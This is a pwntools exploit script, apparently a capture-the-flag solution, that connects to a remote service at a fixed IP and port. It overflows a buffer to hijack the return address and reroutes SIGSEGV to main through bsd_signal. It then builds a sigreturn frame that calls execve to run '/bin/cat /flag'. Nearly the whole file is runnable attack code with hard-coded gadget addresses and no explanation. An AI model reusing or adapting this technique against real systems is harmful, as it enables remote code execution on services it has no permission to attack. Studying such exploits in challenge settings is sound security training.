doit.py

#!/usr/bin/env python3

from pwn import *

context.update(arch='amd64')

p = remote('52.165.26.180', 8810)

rip_off = 24
rdi_off = 40
rsi_off = 32
bsd_signal = 0x4045d0
g_buf = 0x4abb20
sigsegv = 11
main = 0x40190d
restore_rt = 0x4046e0
syscall = 0x45acdd
sys_execve = 59

p.sendline(fit({}, length=200))
p.sendline(fit({rip_off: bsd_signal, rdi_off: sigsegv, rsi_off: main}, length = 200))

raw_input('--')

p.sendline(fit({40: b"/bin/cat\x00", 56: g_buf+40, 64: g_buf+80, 72: 0, 80: b"/flag\x00", 96: g_buf+72}))
p.sendline(b'\x00'*56 + fit({0: restore_rt, 152: sys_execve, 112: g_buf+40, 120: g_buf+56, 144: g_buf+72, 64: -1, 168: g_buf, 176: syscall}, length=184))

p.interactive()